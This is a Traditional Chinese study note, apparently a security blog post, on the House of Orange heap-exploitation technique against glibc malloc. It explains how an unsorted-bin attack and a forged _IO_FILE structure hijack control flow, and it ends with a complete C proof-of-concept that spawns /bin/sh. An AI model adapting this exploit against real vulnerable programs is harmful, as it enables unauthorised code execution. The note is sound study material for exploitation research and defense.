---
title: House of Orange 筆記
tags: security
lang: zh_tw
---
# House of Orange 筆記
* 使用中完全不會用到 free()
* 結合 File Structure Exploitation, 實在是很巧妙
# Step
1. 改 Top Chunk Size, 使之變小, 再申請大於 Top Chunk Size (但要小於 0x20000), 使 Top Chunk 被內部流程 free, 並被放入 unsorted bin
2. 改 Top Chunk 的 bk 改成 \_IO_list_all - 0x10, 目的是打 unsafe unlink, 攻擊後 \_IO_list_all 會指向 unsorted chunk, 也就是 &main_arena->top
3. (其實是和 Step 2 同個階段操作, 但拆開說明比較好懂) 改 Top Chunk 的 size, 改成 0x60, 使其在 malloc 後, 會將自己放入 0x60 small bin 中
4. 將 Top Chunk 作為一個 \_IO_FILE 結構體, 偽造此結構以獲取 shell
5. 呼叫 malloc, 申請比 0x60 小的記憶體, 觸發 Step 2 和 3 講到的攻擊, 操作結束後, \_IO_list_all 指向 &main_arena->top, 而該位址作為 \_IO_FILE, 他的 \_chain 形同是 &main_arena->bins\[0x11], 也就是 0x60 small bin bk, 而該位址指向這塊原本是 Top Chunk 的記憶體, 又此塊記憶體已被我們構造成可獲取 shell 的樣子 (請見 File Structure Exploitation)
6. 繼續在 \_int_malloc 中執行, 觸發 malloc_printerr, 並進而觸發 \_IO_all_lockp, 得到 shell
## Step 1 相關程式碼

* 改小 Top Chunk, 使其 size 屬於 unsorted bin 範圍
* 申請大於此 size, \_int_malloc 會進到此段程式碼


* sysmalloc 會判斷要用 mmap 或 sbrk 來配置記憶體
* 若申請大小大於 mmap_threshold, 且還有空間能夠 mmap, 則使用 mmap 來創造
* 這段不是我們想進入的, 所以申請的大小不要大於 128 K (0x20000)

* sysmalloc 中有這段檢查
* Top Chunk Size 大於 MINSIZE
* Top Chunk Size Prev_inuse bit 有啟用
* Top Chunk + Top Chunk Size 需對齊 page

* 最終 free 掉 old_top
## Step 2,3 相關程式碼


* victim 在此攻擊中為 old_top
* **改寫 old_top 的 bk, 改成 \_IO_list_all - 0x10**
* 將 unsorted chunk 位址寫入 bck->fd, 也就是寫入 \_IO_list_all
* 執行完此程式碼片段後, \_IO_list_all 為 &main_arena->top, 其 fd 與 bk 對應到 main_arena->bins\[0] 和 main_arena->bins\[1]
* 現在 &main_arena->top 被視為 \_IO_FILE 結構, 但我們無法自由的在裡面寫資料, 無法構造 \_IO_FILE 結構, 只好再往 \_chain 下手
* 此結構中的 \_chain 的 offset 為 0x68
* &main_arena->top + 0x68 = &main_arena->bins\[11]
* 為 0x60 的 small bin bk
* 先繼續看 \_\_int_malloc 繼續執行

* **改寫 old_top 的 size, 改成 0x61**
* 此時 size 為 0x61, 會進入此程式碼段
* bck 為在 main_arena 中的 0x60 small chunk
* fwd 為 bck->fd, 此鏈一開始是空的, bck->fd 會是 bck

* 更新鏈表
* bck 的 bk 和 fd 都改為 victim
* bck 為在 main_arena 中的 0x60 small chunk
* 更改 0x60 small bin bk 為 victim
* 也就是將地址在 &main_arena->top 的 \_IO_FILE 結構的 \_chain 改為 victim
* victim 在此攻擊中為 old_top, 在此攻擊中假設是可控
* 如此就能任意構造 \_IO_FILE 結構
# PoC
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void getshell()
{
system("/bin/sh");
}
int main(void)
{
char *p1, *p2;
unsigned long long *top;
_IO_FILE *f;
char *_IO_list_all;
void **fake_vtable;
p1 = malloc(0x400 - 0x10);
// Overwrite size of top chunk
// 1) Top Chunk + Size has to be aligned
// 2) Top Chunk's prev_size bit has to be set
top = p1 + 0x400 - 0x10;
top[1] = 0xc01;
// 0x1000 >= Top Chunk size
// --> sysmalloc
// --> _int_free
p2 = malloc(0x1000);
// Leak libc
_IO_list_all = top[2] + 0x9a8;
// When spitting free chunk, chunk->bk->fd gets overwritten
// Control chunk->bk, so _IO_list_all = unsorted_chunks(av) = &av->top
top[3] = _IO_list_all - 0x10;
// Control size to 0x61, so this top chunk will gets added to 0x60 small bin list
// &((_IO_FILE *)(&av->top))->_chain
// => &av->bins[0x11]
// => 0x60 small bin bk
// => this top chunk
top[1] = 0x61;
// Fake _IO_FILE structure
// Cannot change top[1] & top[3]
// => _IO_read_ptr & _IO_read_base
fake_vtable = (char *)f + 0xe0;
f = top;
f->_mode = 0xffffffff;
f->_IO_write_ptr = 1;
f->_IO_write_base = 0;
*(void **)((char *)f + 0xd8) = fake_vtable;
fake_vtable[3] = getshell;
// Trigger attack
malloc(0x10);
}
```